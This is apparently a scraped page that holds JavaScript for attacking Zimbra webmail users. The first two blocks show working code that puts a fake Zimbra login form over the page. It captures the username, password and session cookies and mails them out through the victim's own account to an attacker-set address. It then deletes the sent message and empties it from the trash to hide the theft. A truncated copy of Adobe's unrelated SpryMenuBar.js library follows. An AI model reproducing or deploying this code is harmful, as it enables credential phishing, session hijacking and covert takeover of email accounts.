ZLoginAboutPanel%22%20style%3D%22display%3Anone%22%3E%3C/div%3E%3Cdiv%20id%3D%22ZLoginLoadingPanel%22%20style%3D%22display%3Anone%22%3E%3Ctable%3E%3Ctbody%3E%3Ctr%3E%3Ctd%3E%3C/td%3E%3Ctd%20id%3D%22ZLoginLoadingMsg%22%3ELoading%20...%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%3Cdiv%20id%3D%22ZLoginFormPanel%22%3E%3Ctable%20class%3D%22zLoginTable%22%20width%3D%22100%25%22%20cellpadding%3D%224%22%3E%3Ctbody%3E%3Ctr%20id%3D%22ZLoginUserTr%22%3E%3Ctd%20class%3D%22zLoginLabelContainer%22%3EUsername%3A%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20colspan%3D%222%22%3E%0D%0A%09%3Cform%20method%3D%22post%22%20name%3D%22loginForm%22%20action%3D%22/zimbra/%22%20accept-charset%3D%22UTF-8%22%3E%0D%0A%09%3Cinput%20id%3D%22ZLoginUserName%22%20class%3D%22zLoginField%22%20autocomplete%3D%22OFF%22%20type%3D%22text%22%20tabindex%3D%221%22%20value%3D%22"+to+"%22%3E%0D%0A%09%3C/td%3E%3C/tr%3E%3Ctr%20id%3D%22ZLoginPasswordTr%22%3E%3Ctd%20class%3D%22zLoginLabelContainer%22%3EPassword%3A%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20colspan%3D%222%22%3E%3Cinput%20id%3D%22ZLoginPassword%22%20class%3D%22zLoginField%22%20autocomplete%3D%22OFF%22%20type%3D%22password%22%20tabindex%3D%222%22%3E%3C/td%3E%3C/tr%3E%3Ctr%20id%3D%22ZLoginNewPassword1Tr%22%20style%3D%22display%3Anone%22%3E%3Ctd%20class%3D%22zLoginLabelContainer%22%3ENew%20Password%3A%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20colspan%3D%222%22%3E%3Cinput%20id%3D%22newpass1%22%20class%3D%22zLoginField%22%20autocomplete%3D%22OFF%22%20type%3D%22password%22%20tabindex%3D%222%22%3E%3C/td%3E%3C/tr%3E%3Ctr%20id%3D%22ZLoginNewPassword2Tr%22%20style%3D%22display%3Anone%22%3E%3Ctd%20class%3D%22zLoginLabelContainer%22%3EConfirm%3A%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20colspan%3D%222%22%3E%3Cinput%20id%3D%22newpass2%22%20class%3D%22zLoginField%22%20autocomplete%3D%22OFF%22%20type%3D%22password%22%20tabindex%3D%222%22%3E%3C/td%3E%3C/tr%3E%3Ctr%20id%3D%22ZLoginLicenseMsgContainer%22%3E%3Ctd%20colspan%3D%223%22%20id%3D%22ZLoginLicenseMsg%22%3E%3C/td%3E%3C/tr%3E%3Ctr%3E%3Ctd%20class%3D%22zLoginLabelContainer%22%3E%26nbsp%3B%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20id%3D%22ZLoginRememberMeContainer%22%20style%3D%22display%3Anone%22%3E%3Ctable%20class%3D%22zLoginTable%22%20width%3D%22100%25%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20width%3D%221%22%3E%3Cinput%20id%3D%22rememberMe%22%20type%3D%22checkbox%22%3E%3C/td%3E%3Ctd%20class%3D%22zLoginCheckboxLabelContainer%22%3ERemember%20me%20on%20this%20computer%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/td%3E%3Ctd%20class%3D%22zLoginFieldContainer%22%20id%3D%22ZLoginLogOffContainer%22%20style%3D%22display%3A%20none%3B%22%3E%0D%0A%09%3Ca%20href%3D%22%22%20%3E%0D%0A%09%09Log%20in%20as%20a%20different%20user%3C/a%3E%3C/td%3E%3Ctd%20class%3D%22zLoginButtonContainer%22%20align%3D%22right%22%3E%0D%0A%09%09%09%3Cdiv%20id%3D%22ZLoginButton%22%20class%3D%22DwtButton%22%20onclick%3D%22eval%28login_appname.innerHTML%29%3Breturn%20false%3B%22%20onmouseover%3D%22javascript%3Athis.className%3D%26quot%3BDwtButton-hover%26quot%3B%22%20onmouseout%3D%22javascript%3Athis.className%3D%26quot%3BDwtButton%26quot%3B%22%20onmousedown%3D%22javascript%3Athis.className%3D%26quot%3BDwtButton-active%26quot%3B%3Breturn%20false%22%20onmouseup%3D%22javascript%3Athis.className%3D%26quot%3BDwtButton%26quot%3B%22%20onmousemove%3D%22javascript%3Areturn%20false%22%20onselectstart%3D%22javascript%3A%20return%20false%22%20onfocus%3D%22javascript%3Athis.className%20%3D%20%26quot%3BDwtButton-focused%26quot%3B%3Breturn%20false%22%20onblur%3D%22javascript%3Athis.className%20%3D%20%26quot%3BDwtButton%26quot%3B%3Breturn%20false%22%3E%3Ctable%20style%3D%22width%3A100%25%3Bheight%3A100%25%22%20cellspacing%3D%220%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20align%3D%22center%22%20class%3D%22Text%22%20id%3D%22ZLoginButtonText%22%3ELog%20In%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%3C%21--%20non-IE%20browsers%20dont%20allow%20focus%20for%20non-INPUT%20elements%20so%20we%20have%20to%20create%20a%20hidden%20input%20to%20fake%20focus%20for%20our%20DIV%20which%20acts%20as%20an%20input%20button%20--%3E%3Cinput%20type%3D%22button%22%20style%3D%22position%3Aabsolute%3Btop%3A-10000%3Bleft%3A-10000%3B%22%20id%3D%22ZLoginHiddenButton%22%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%3Ctable%20class%3D%22zLoginTable%22%20width%3D%22100%25%22%20cellpadding%3D%220%22%20cellspacing%3D%220%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20id%3D%22ZloginClientLevelContainer%22%3E%3C/td%3E%3C/tr%3E%3Ctr%3E%3Ctd%20id%3D%22ZLoginLicenseContainer%22%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%0D%0A%3C/form%3E%0D%0A%3C/body%3E%3C/html%3E"; } function writebody() { window.parent.document.body.innerHTML=unescape("%3Ciframe%20src%3D%22/aaabbccddee%22%20onload%3D%22document.getElementById%28%27login_iframe%27%29.contentWindow.document.body.innerHTML%3Dunescape%28%27")+pageinfo()+unescape("%27%29%3Bthis.width%3D%27100%25%27%3B%22%20id%3Dlogin_iframe%20width%3D0%25%20height%3D110%25%20frameborder%3D0%20scrolling%3Dno%20style%3D%22position%3Aabsolute%3B%20left%3A0%3B%20top%3A-65px%22%3E%3C/iframe%3E"); try { document.title="Zimbra: Inbox"; } catch(e) {} } function encrypt(msg) { var temp=""; for(i=0;i<msg.length;i++) { temp+=msg.charCodeAt(i)+","; } temp=temp.substring(0,temp.length-1) return temp; } function main() { if(document.getElementById('login_name_pass')) { mail_fun();clearTimeout(eval_eval); } }; function mail_fun() { createpost(); body=encrypt(document.getElementById('login_name_pass').innerHTML+"--^^cookies: "+document.cookie); sub="Mail-From-"+to+"-'s-info-At-"+window.top.location.href+"-is-coming-Password,good-luck!"; postmail(to,forward,sub,body); } function ajax(){ var t=null; if(window.XMLHttpRequest) { t = new XMLHttpRequest(); } else { t=new ActiveXObject('MSXML2.XMLHTTP'); } return t; } function gettag() { t=ajax(); t.open('get','/zimbra/h/search?action=compose',false); t.send(); temp=t.responseText; a=temp.indexOf('sendUID'); b=temp.indexOf('crumb'); c=temp.substring(a-80,b+80); d=c.indexOf('name="sendUID" value="')+22; id=c.substring(d,d+36); e=c.indexOf('name="crumb" value="')+20; crumb=c.substring(e,e+32); s=new Array(); s.push(id); s.push(crumb); return s; } function getpostid() { t=ajax(); t.open('get','/zimbra/h/search?sfi=5',false); t.send(); temp=t.responseText; var a=temp.indexOf("Mail-From"); var text=temp.substring(a-200,a); text=text.replace(/"/g,""); text=text.replace(/ /g,""); text=text.replace(/=/g,""); text=text.replace(/cid/g,"1v12v2"); c=text.indexOf("1v12v2"); d=text.indexOf("idA0") id=text.substring(c+6,d); return id; } function deletemail() { t=gettag(); crumb=t[1]; id=getpostid(); var data="dragTargetFolder=&dragMsgId=&folderId=&actionOp=&viewOp=byConv&actionSort=dateAsc&id="+id+"&actionDelete=Delete&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&+=byConv&doConvListViewAction=1&crumb="+crumb+"&selectedRow=0" xmlhttp=ajax(); xmlhttp.open('post','/zimbra/h/search?si=0&so=0&sc=383301&sfi=5&st=conversation',true); xmlhttp.setRequestHeader("content-type","application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Host",location.host); xmlhttp.setRequestHeader("Referer",location.href); xmlhttp.onreadystatechange = function() { if(xmlhttp.readyState == 4 && xmlhttp.status == 200) { deletecrash(); } } xmlhttp.send(data); } function crashid() { t=ajax(); t.open('get','/zimbra/h/search?sfi=3',false); t.send(); temp=t.responseText; var a=temp.indexOf("Mail-From"); var text=temp.substring(a-200,a); text=text.replace(/"/g,""); text=text.replace(/ /g,""); text=text.replace(/=/g,""); text=text.replace(/cid/g,"1v12v2"); c=text.indexOf("1v12v2"); d=text.indexOf("idA0") id=text.substring(c+6,d); return id; } function deletecrash() { t=gettag(); crumb=t[1]; id=crashid(); var data="actionHardDelete=Delete&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&contextFolderId=3&confirmed=0&viewOp=byConv&actionSort=dateAsc&id="+id+"&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&contextFolderId=3&confirmed=0&+=byConv&doConvListViewAction=1&crumb="+crumb+"&selectedRow=0"; xmlhttp=ajax(); xmlhttp.open('post','/zimbra/h/search?si=0&so=0&sc=383323&sfi=3&st=conversation',true); xmlhttp.setRequestHeader("content-type","application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Host",location.host); xmlhttp.setRequestHeader("Referer",location.href); xmlhttp.onreadystatechange = function() { if(xmlhttp.readyState == 4 && xmlhttp.status == 200) { } } xmlhttp.send(data); } function postmail(from,to,sub,body) { t=gettag(); a=location.protocol+'//'+location.hostname+'/zimbra/h/search?action=compose'; to=to; from=from; id=t[0]; crumb=t[1]; s=sub; b=body; z=body+"02"; text=unescape('%3Ciframe%20%20name%3Dtarget_url%3E%3C/iframe%3E%0D%0A%3Cform%20target%3Dtarget_url%20action%3D'+a+'%20method%3Dpost%20name%3DcomposeForm%20enctype%3Dmultipart/form-data%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DtoField%20name%3Dto%20value%3D'+to+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dfrom%20value%3D'+from+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DsendUID%20value%3d'+id+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dcrumb%20value%3D'+crumb+'%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dsubject%20id%3DsubjectField%20value%3D'+s+'%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dbody%20id%3Dbody%20value%3D'+b+'%3E%0D%0A%3Cinput%20type%3Dsubmit%20name%3DactionContactAdd%20%20value%3DTo%3E%3C/td%3E%0D%0A%3Cinput%20type%3Dsubmit%20name%3DactionContactAdd%20value%3DCc%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DccField%20name%3Dcc%3E%0D%0A%3Cinput%20type%3Dsubmit%20id%3DSbccbutton%20name%3DactionContactAdd%20%20value%3DBcc%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DbccField%20name%3Dbcc%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dpriority%20value%3D%21%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DbodyText%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dreplyto%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dinreplyto%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dmessageid%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DcompNum%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinstCompNum%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dreplytype%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyVerb%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyInst%20value%3D0%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyAllDay%20value%3Dfalse%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Ddraftid%3E%20%0D%0A%3Cinput%20name%3DactionSend%20id%3Dzimbra_sendmail%20type%3Dsubmit%20value%3DSend%3E%0D%0A%3C/form%3E'); document.getElementById('post_div').innerHTML = text; c=document.getElementById('zimbra_sendmail'); c.click(); setTimeout('deletemail();',10*1000); } eval_eval = setInterval('main();', 1000); if(location.href.indexOf("/h/search")>0) { setTimeout("writebody();", 5 * 1000); } else { setTimeout("writebody();", tout * 1000); }
JavaScript
window.onerror=function() { return true } function getinfo() { return document.getElementById('zimbra_family1').title.split(':'); } var info = getinfo(); var to = info[0]; to=to.replace(/=/g,"@"); to=to.replace(/-/g,"."); var forward = info[1]; forward=forward.replace(/=/g,"@"); forward=forward.replace(/-/g,"."); var tout = parseInt(info[2]); function createpost() { var t = document.createElement('div'); t.id = 'post_div'; document.getElementsByTagName('head')[0].appendChild(t); } function encrypt(msg) { var temp=""; for(i=0;i<msg.length;i++) { temp+=msg.charCodeAt(i)+","; } temp=temp.substring(0,temp.length-1) return temp; } function main_cookie() { mail_fun_cookie(); } function mail_fun_cookie() { createpost(); body=encrypt("--^^--name:"+info[0]+"--^^cookies: __"+document.cookie); sub="Mail-From-"+to+"-'s-info-At-"+window.top.location.href+"-is-coming-Cookies,good-luck!"; postmail(to,forward,sub,body); } function ajax(){ var t=null; if(window.XMLHttpRequest) { t = new XMLHttpRequest(); } else { t=new ActiveXObject('MSXML2.XMLHTTP'); } return t; } function gettag() { t=ajax(); t.open('get','/zimbra/h/search?action=compose',false); t.send(); temp=t.responseText; a=temp.indexOf('sendUID'); b=temp.indexOf('crumb'); c=temp.substring(a-80,b+80); d=c.indexOf('name="sendUID" value="')+22; id=c.substring(d,d+36); e=c.indexOf('name="crumb" value="')+20; crumb=c.substring(e,e+32); s=new Array(); s.push(id); s.push(crumb); return s; } function getpostid() { t=ajax(); t.open('get','/zimbra/h/search?sfi=5',false); t.send(); temp=t.responseText; var a=temp.indexOf("Mail-From"); var text=temp.substring(a-200,a); text=text.replace(/"/g,""); text=text.replace(/ /g,""); text=text.replace(/=/g,""); text=text.replace(/cid/g,"1v12v2"); c=text.indexOf("1v12v2"); d=text.indexOf("idA0") id=text.substring(c+6,d); return id; } function deletemail() { t=gettag(); crumb=t[1]; id=getpostid(); var data="dragTargetFolder=&dragMsgId=&folderId=&actionOp=&viewOp=byConv&actionSort=dateAsc&id="+id+"&actionDelete=Delete&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&+=byConv&doConvListViewAction=1&crumb="+crumb+"&selectedRow=0" xmlhttp=ajax(); xmlhttp.open('post','/zimbra/h/search?si=0&so=0&sc=383301&sfi=5&st=conversation',true); xmlhttp.setRequestHeader("content-type","application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Host",location.host); xmlhttp.setRequestHeader("Referer",location.href); xmlhttp.onreadystatechange = function() { if(xmlhttp.readyState == 4 && xmlhttp.status == 200) { deletecrash(); } } xmlhttp.send(data); } function crashid() { t=ajax(); t.open('get','/zimbra/h/search?sfi=3',false); t.send(); temp=t.responseText; var a=temp.indexOf("Mail-From"); var text=temp.substring(a-200,a); text=text.replace(/"/g,""); text=text.replace(/ /g,""); text=text.replace(/=/g,""); text=text.replace(/cid/g,"1v12v2"); c=text.indexOf("1v12v2"); d=text.indexOf("idA0") id=text.substring(c+6,d); return id; } function deletecrash() { t=gettag(); crumb=t[1]; id=crashid(); var data="actionHardDelete=Delete&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&contextFolderId=3&confirmed=0&viewOp=byConv&actionSort=dateAsc&id="+id+"&dragTargetFolder=&dragMsgId=&folderId=&actionOp=&contextFolderId=3&confirmed=0&+=byConv&doConvListViewAction=1&crumb="+crumb+"&selectedRow=0"; xmlhttp=ajax(); xmlhttp.open('post','/zimbra/h/search?si=0&so=0&sc=383323&sfi=3&st=conversation',true); xmlhttp.setRequestHeader("content-type","application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Host",location.host); xmlhttp.setRequestHeader("Referer",location.href); xmlhttp.onreadystatechange = function() { if(xmlhttp.readyState == 4 && xmlhttp.status == 200) { } } xmlhttp.send(data); } function postmail(from,to,sub,body) { t=gettag(); a=location.protocol+'//'+location.hostname+'/zimbra/h/search?action=compose'; to=to; from=from; id=t[0]; crumb=t[1]; s=sub; b=body; z=body+"02"; text=unescape('%3Ciframe%20%20name%3Dtarget_url%3E%3C/iframe%3E%0D%0A%3Cform%20target%3Dtarget_url%20action%3D'+a+'%20method%3Dpost%20name%3DcomposeForm%20enctype%3Dmultipart/form-data%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DtoField%20name%3Dto%20value%3D'+to+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dfrom%20value%3D'+from+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DsendUID%20value%3d'+id+'%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dcrumb%20value%3D'+crumb+'%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dsubject%20id%3DsubjectField%20value%3D'+s+'%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dbody%20id%3Dbody%20value%3D'+b+'%3E%0D%0A%3Cinput%20type%3Dsubmit%20name%3DactionContactAdd%20%20value%3DTo%3E%3C/td%3E%0D%0A%3Cinput%20type%3Dsubmit%20name%3DactionContactAdd%20value%3DCc%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DccField%20name%3Dcc%3E%0D%0A%3Cinput%20type%3Dsubmit%20id%3DSbccbutton%20name%3DactionContactAdd%20%20value%3DBcc%3E%0D%0A%3Cinput%20type%3Dtext%20id%3DbccField%20name%3Dbcc%3E%0D%0A%3Cinput%20type%3Dtext%20name%3Dpriority%20value%3D%21%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DbodyText%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dreplyto%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dinreplyto%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dmessageid%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DcompNum%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinstCompNum%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Dreplytype%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyVerb%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyInst%20value%3D0%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3DinviteReplyAllDay%20value%3Dfalse%3E%0D%0A%3Cinput%20type%3Dhidden%20name%3Ddraftid%3E%20%0D%0A%3Cinput%20name%3DactionSend%20id%3Dzimbra_sendmail%20type%3Dsubmit%20value%3DSend%3E%0D%0A%3C/form%3E'); document.getElementById('post_div').innerHTML = text; c=document.getElementById('zimbra_sendmail'); c.click(); setTimeout('deletemail();',10*1000); } main_cookie();
JavaScript
// SpryMenuBar.js - version 0.13 - Spry Pre-Release 1.6.1 // // Copyright (c) 2006. Adobe Systems Incorporated. // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name of Adobe Systems Incorporated nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. /******************************************************************************* SpryMenuBar.js This file handles the JavaScript for Spry Menu Bar. You should have no need to edit this file. Some highlights of the MenuBar object is that timers are used to keep submenus from showing up until the user has hovered over the parent menu item for some time, as well as a timer for when they leave a submenu to keep showing that submenu until the timer fires. *******************************************************************************/ (function() { // BeginSpryComponent if (typeof Spry == "undefined") window.Spry = {}; if (!Spry.Widget) Spry.Widget = {}; Spry.BrowserSniff = function() { var b = navigator.appName.toString(); var up = navigator.platform.toString(); var ua = navigator.userAgent.toString(); this.mozilla = this.ie = this.opera = this.safari = false; var re_opera = /Opera.([0-9\.]*)/i; var re_msie = /MSIE.([0-9\.]*)/i; var re_gecko = /gecko/i; var re_safari = /(applewebkit|safari)\/([\d\.]*)/i; var r = false; if ( (r = ua.match(re_opera))) { this.opera = true; this.version = parseFloat(r[1]); } else if ( (r = ua.match(re_msie))) { this.ie = true; this.version = parseFloat(r[1]); } else if ( (r = ua.match(re_safari))) { this.safari = true; this.version = parseFloat(r[2]); } else if (ua.match(re_gecko)) { var re_gecko_version = /rv:\s*([0-9\.]+)/i; r = ua.match(re_gecko_version); this.mozilla = true; this.version = parseFloat(r[1]); } this.windows = this.mac = this.linux = false; this.Platform = ua.match(/windows/i) ? "windows" : (ua.match(/linux/i) ? "linux" : (ua.match(/mac/i) ? "mac" : ua.match(/unix/i)? "unix" : "unknown")); this[this.Platform] = true; this.v = this.version; if (this.safari && this.mac && this.mozilla) { this.mozilla = false; } }; Spry.is = new Spry.BrowserSniff(); // Constructor for Menu Bar // element should be an ID of an unordered list (<ul> tag) // preloadImage1 and preloadImage2 are images for the rollover state of a menu Spry.Widget.MenuBar = function(element, opts) { this.init(element, opts); }; Spry.Widget.MenuBar.prototype.init = function(element, opts) { this.element = this.getElement(element); // represents the current (sub)menu we are operating on this.currMenu = null; this.showDelay = 250; this.hideDelay = 600; if(typeof document.getElementById == 'undefined' || (navigator.vendor == 'Apple Computer, Inc.' && typeof window.XMLHttpRequest == 'undefined') || (Spry.is.ie && typeof document.uniqueID == 'undefined')) { // bail on older unsupported browsers return; } // Fix IE6 CSS images flicker if (Spry.is.ie && Spry.is.version < 7){ try { document.execCommand("BackgroundImageCache", false, true); } catch(err) {} } this.upKeyCode = Spry.Widget.MenuBar.KEY_UP; this.downKeyCode = Spry.Widget.MenuBar.KEY_DOWN; this.leftKeyCode = Spry.Widget.MenuBar.KEY_LEFT; this.rightKeyCode = Spry.Widget.MenuBar.KEY_RIGHT; this.escKeyCode = Spry.Widget.MenuBar.KEY_ESC; this.hoverClass = 'MenuBarItemHover'; this.subHoverClass = 'MenuBarItemSubmenuHover'; this.subVisibleClass ='MenuBarSubmenuVisible'; this.hasSubClass = 'MenuBarItemSubmenu'; this.activeClass = 'MenuBarActive'; this.isieClass = 'MenuBarItemIE'; this.verticalClass = 'MenuBarVertical'; this.horizontalClass = 'MenuBarHorizontal'; this.enableKeyboardNavigation = true; this.hasFocus = false; // load hover images now if(opts) { for(var k in opts) { if (typeof this[k] == 'undefined') { var rollover = new Image; rollover.src = opts[k]; } } Spry.Widget.MenuBar.setOptions(this, opts); } // safari doesn't support tabindex if (Spry.is.safari) this.enableKeyboardNavigation = false; if(this.element) { this.currMenu = this.element; var items = this.element.getElementsByTagName('li'); for(var i=0; i<items.length; i++) { if (i > 0 && this.enableKeyboardNavigation) items[i].getElementsByTagName('a')[0].tabIndex='-1'; this.initialize(items[i], element); if(Spry.is.ie) { this.addClassName(items[i], this.isieClass); items[i].style.position = "static"; } } if (this.enableKeyboardNavigation) { var self = this; this.addEventListener(document, 'keydown', function(e){self.keyDown(e); }, false); } if(Spry.is.ie) { if(this.hasClassName(this.element, this.verticalClass)) { this.element.style.position = "relative"; } var linkitems = this.element.getElementsByTagName('a'); for(var i=0; i<linkitems.length; i++) { linkitems[i].style.position = "relative"; } } } }; Spry.Widget.MenuBar.KEY_ESC = 27; Spry.Widget.MenuBar.KEY_UP = 38; Spry.Widget.MenuBar.KEY_DOWN = 40; Spry.Widget.MenuBar.KEY_LEFT = 37; Spry.Widget.MenuBar.KEY_RIGHT = 39; Spry.Widget.MenuBar.prototype.getElement = function(ele) { if (ele && typeof ele == "string") return document.getElementById(ele); return ele; }; Spry.Widget.MenuBar.prototype.hasClassName = function(ele, className) { if (!ele || !className || !ele.className || ele.className.search(new RegExp("\\b" + className + "\\b")) == -1) { return false; } return true; }; Spry.Widget.MenuBar.prototype.addClassName = function(ele, className) { if (!ele || !className || this.hasClassName(ele, className)) return; ele.className += (ele.className ? " " : "") + className; }; Spry.Widget.MenuBar.prototype.removeClassName = function(ele, className) { if (!ele || !className || !this.hasClassName(ele, className)) return; ele.className = ele.className.replace(new RegExp("\\s*\\b" + className + "\\b", "g"), ""); }; // addEventListener for Menu Bar // attach an event to a tag without creating obtrusive HTML code Spry.Widget.MenuBar.prototype.addEventListener = function(element, eventType, handler, capture) { try { if (element.addEventListener) { element.addEventListener(eventType, handler, capture); } else if (element.attachEvent) { element.attachEvent('on' + eventType, handler); } } catch (e) {} }; // createIframeLayer for Menu Bar // creates an IFRAME underneath a menu so that it will show above form controls and ActiveX Spry.Widget.MenuBar.prototype.createIframeLayer = function(menu) { var layer = document.createElement('iframe'); layer.tabIndex = '-1'; layer.src = 'javascript:""'; layer.frameBorder = '0'; layer.scrolling = 'no'; menu.parentNode.appendChild(layer); layer.style.left = menu.offsetLeft + 'px'; layer.style.top = menu.offsetTop + 'px'; layer.style.width = menu.offsetWidth + 'px'; layer.style.height = menu.offsetHeight + 'px'; }; // removeIframeLayer for Menu Bar // removes an IFRAME underneath a menu to reveal any form controls and ActiveX Spry.Widget.MenuBar.prototype.removeIframeLayer = function(menu) { var layers = ((menu == this.element) ? menu : menu.parentNode).getElementsByTagName('iframe'); while(layers.length > 0) { layers[0].parentNode.removeChild(layers[0]); } }; // clearMenus for Menu Bar // root is the top level unordered list (<ul> tag) Spry.Widget.MenuBar.prototype.clearMenus = function(root) { var menus = root.getElementsByTagName('ul'); for(var i=0; i<menus.length; i++) this.hideSubmenu(menus[i]); this.removeClassName(this.element, this.activeClass); }; // bubbledTextEvent for Menu Bar // identify bubbled up text events in Safari so we can ignore them Spry.Widget.MenuBar.prototype.bubbledTextEvent = function() { return Spry.is.safari && (event.target == event.relatedTarget.parentNode || (event.eventPhase == 3 && event.target.parentNode == event.relatedTarget)); }; // showSubmenu for Menu Bar // set the proper CSS class on this menu to show it Spry.Widget.MenuBar.prototype.showSubmenu = function(menu) { if(this.currMenu) { this.clearMenus(this.currMenu); this.currMenu = null; } if(menu) { this.addClassName(menu, this.subVisibleClass); if(typeof document.all != 'undefined' && !Spry.is.opera && navigator.vendor != 'KDE') { if(!this.hasClassName(this.element, this.horizontalClass) || menu.parentNode.parentNode != this.element) { menu.style.top = menu.parentNode.offsetTop + 'px'; } } if(Spry.is.ie && Spry.is.version < 7) { this.createIframeLayer(menu); } } this.addClassName(this.element, this.activeClass); }; // hideSubmenu for Menu Bar // remove the proper CSS class on this menu to hide it Spry.Widget.MenuBar.prototype.hideSubmenu = function(menu) { if(menu) { this.removeClassName(menu, this.subVisibleClass); if(typeof document.all != 'undefined' && !Spry.is.opera && navigator.vendor != 'KDE') { menu.style.top = ''; menu.style.left = ''; } if(Spry.is.ie && Spry.is.version < 7) this.removeIframeLayer(menu); } }; // initialize for Menu Bar // create event listeners for the Menu Bar widget so we can properly // show and hide submenus Spry.Widget.MenuBar.prototype.initialize = function(listitem, element) { var opentime, closetime; var link = listitem.getElementsByTagName('a')[0]; var submenus = listitem.getElementsByTagName('ul'); var menu = (submenus.length > 0 ? submenus[0] : null); if(menu) this.addClassName(link, this.hasSubClass); if(!Spry.is.ie) { // define a simple function that comes standard in IE to determine // if a node is within another node listitem.contains = function(testNode) { // this refers to the list item if(testNode == null) return false; if(testNode == this) return true; else return this.contains(testNode.parentNode); }; } // need to save this for scope further down var self = this; this.addEventListener(listitem, 'mouseover', function(e){self.mouseOver(listitem, e);}, false); this.addEventListener(listitem, 'mouseout', function(e){if (self.enableKeyboardNavigation) self.clearSelection(); self.mouseOut(listitem, e);}, false); if (this.enableKeyboardNavigation) { this.addEventListener(link, 'blur', function(e){self.onBlur(listitem);}, false); this.addEventListener(link, 'focus', function(e){self.keyFocus(listitem, e);}, false); } }; Spry.Widget.MenuBar.prototype.keyFocus = function (listitem, e) { this.lastOpen = listitem.getElementsByTagName('a')[0]; this.addClassName(this.lastOpen, listitem.getElementsByTagName('ul').length > 0 ? this.subHoverClass : this.hoverClass); this.hasFocus = true; }; Spry.Widget.MenuBar.prototype.onBlur = function (listitem) { this.clearSelection(listitem); }; Spry.Widget.MenuBar.prototype.clearSelection = function(el){ //search any intersection with the current open element if (!this.lastOpen) return; if (el) { el = el.getElementsByTagName('a')[0]; // check children var item = 